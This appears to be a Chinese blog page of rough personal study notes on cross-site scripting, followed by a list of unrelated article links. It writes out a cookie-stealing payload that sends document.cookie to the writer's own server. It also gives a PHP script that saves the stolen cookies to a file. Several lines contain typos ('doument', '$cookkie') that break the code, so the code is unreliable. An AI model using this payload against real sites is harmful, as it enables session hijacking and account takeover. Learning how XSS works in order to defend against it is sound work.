当前位置: 首页 > news >正文

xss一些笔记

(乱写的一些笔记)

innerHTML只防script像是img就不会防

innerText都防

上面代码执行避免用户交互

 js也可以用’‘执行

例子 alert’1‘

document.location.hash          // #号后的部分,包括#号
document.location.host          // 域名+端口号
document.location.hostname      // 域名
document.location.href          // 完整URL
document.location.pathname      // 目录部分
document.location.port          // 端口号
document.location.protocol      // 网络协议(http:)
document.location.search        // ?号后的部分

document.location.hash.slice(1)//获取#号后的部分,不包括#号

cookie和session关系  session就是cookie,在你注册一个用户,服务器生成一个session文件,session文件名为一个随机字符串,文件里面存储一些你的信息。服务端会将你的文件名返回给你的客户端,保存在你客户端的cookie,当你二次登陆时浏览器会带着你的cookie进入到服务端,服务器就会在自己的文件中找有没有你cookie名字的文件

xss payload 构造<script>doument.location.href=“自己服务器地址/cookie.php?cookie=”+doument.cookie</script>

接收cookie的脚本cookie.php

<?php

$cookie=$_GET['cookie'];

//将coolie变量传入file.txt中

file_put_contents('file.txt',$cookkie)

?>

http://www.lryc.cn/news/376847.html

相关文章:

  • 以太坊网络中为什么要设置Gas上限
  • vue-cli是什么?和 webpack是什么关系?
  • leetcode刷题(46-50)
  • [渗透测试学习] Runner-HackTheBox
  • keil5显示内存和存储占用百分比进度条工具
  • 示例:推荐一个应用Adorner做的消息对话框
  • Building wheels for collected packages: mmcv, mmcv-full 卡住
  • 可视化表单拖拽生成器优势多 助力流程化办公!
  • 数据集制作——语义分割前png、jpg格式标签图转yolo格式.txt文件(附代码)
  • 机器学习课程复习——ANN
  • C++回溯算法(2)
  • 流量有限、日活低的APP适合对接广告变现吗?
  • Shell 学习笔记 - 变量的类型 + 变量的赋值
  • vue播放flv格式的直播流
  • Qt入门小项目 | 实现一个图片查看器
  • qt仿制qq登录界面
  • HashMap详解(含动画演示)
  • TVS的原理及选型
  • 【机器学习】无监督学习:探索数据背后的隐藏模式
  • 使用Elasticsearch在同一索引中区分不同类型的文档
  • 驾校在线考试系统源码 手机+PC+平板自适应
  • c++的多态,继承,抽象类,虚函数表,虚函数等题目+分析
  • 利用 Qwen-VL 进行私有化部署第一个 AI 多模态大模型
  • 王思聪隐形女儿曝光
  • 学习笔记——网络管理与运维——SNMP(SNMP原理)
  • 基于STM32和人工智能的自动驾驶小车系统
  • 简单介绍vim
  • 使用本地数据对transformers模型进行微调训练
  • Java面试题:讨论何时需要创建自定义异常类,并展示如何实现一个自定义异常
  • 什么是进程